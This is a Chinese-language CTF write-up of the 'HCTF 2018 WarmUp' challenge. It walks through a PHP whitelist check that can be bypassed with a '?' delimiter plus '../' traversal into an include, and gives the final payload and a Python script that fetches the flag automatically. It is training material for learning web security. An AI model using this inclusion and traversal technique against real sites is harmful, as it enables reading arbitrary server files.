CTF_EXP05:BUUCTF CTFHUB [HCTF 2018] WarmUp
启动靶机,打开环境:
根据提示是一道PHP代码审计的题目,查看网页源码:
<body>
<!--source.php-->
发现提示的新页面,访问得到源码:
分析源码:
先看最后的一个if
:
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
- 传入的变量
file
不为空,并且为string
类型,并执行checkFile()
函数 - 三个条件为真则执行
include
- 三个条件为假则输出滑稽
查看checkFile()
函数:
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
- 有两个页面:
source.php
和hint.php
- 四个
if
判断:
$page
不为空或不为字符串,返回false
$page
在$whitelist
数组中,返回true
mb_substr()
函数截取字符串mb_strpos()
函数返回在$page
中?
前的内容,没有则返回$page
的值- 截取后
$page
在$whitelist
数组中,返回true
- 对
$page
进行URL解码
- 执行与之前相同的截取操作
- 解码截取后
$page
在$whitelist
数组中,返回true
访问checkFile()
函数中的hint.php
页面:
提示了flag
所在的路径,尝试访问:
/source.php?file=source.php?../ffffllllaaaagggg
因为checkFile()
函数会匹配?
前的内容是否在数组whitelist
中,因为不知道在哪个目录,多次添加../
得到flag
:
最终payload:
/source.php?file=source.php?../../../../../ffffllllaaaagggg
EXP如下:
其中的UrlTest
模块代码:
# -*- coding:utf-8 -*-
# name: Meng
# mail: 614886708@qq.com
# ctf_exp05:BUUCTF CTFHUB [HCTF 2018] WarmUp
import requests
import re
import UrlTest
class WarmUp:
def __init__(self, url_input, platform_input):
self.platform = platform_input
self.error_num = 0
self.payload = '/source.php?file=source.php?../../../../../ffffllllaaaagggg'
self.url_list = ['', 'source.php', 'hint.php'] # 三个链接
self.url = url_input
self.flag = ''
def num_test(self):
# 设置获取flag只能重复30次
for i in range(30):
try:
r = requests.get(self.url + self.payload)
if self.platform == '1':
# 匹配ctfhub平台flag格式
self.flag = re.search(r'ctfhub\{.+\}', r.text).group()
else:
# 匹配buuctf平台flag格式
self.flag = re.search(r'flag\{.+\}', r.text).group()
except:
self.error_num = i
print('第 ' + str(i+1) + ' 次未获取到flag! 正在重试!')
else:
break
def platform_test(self):
for i in range(3):
if self.platform not in ('1', '2'):
print('平台选择有误!')
self.platform = input('请重新选择平台:')
else:
break
else:
if self.platform not in ('1', '2'):
print('平台选择失败! 退出程序!')
return True
def run(self):
if self.platform_test():
return
self.url = UrlTest.url_test(self.url, self.url_list)
self.num_test() # flag获取
if self.flag == '':
print('已尝试30次!未获取到flag! 退出程序!')
return self.flag
if __name__ == '__main__':
print('ctf_exp05: BUUCTF CTFHUB [HCTF 2018] WarmUp')
print('平台序号:1. ctfhub 2. buuctf')
platform_input = input('请选择题目平台序号:')
url_input = input('请输入题目链接:')
print(WarmUp(url_input, platform_input).run())
input() # 防止退出cmd
输入平台编号(平台flag格式不一样)与题目链接,得到flag: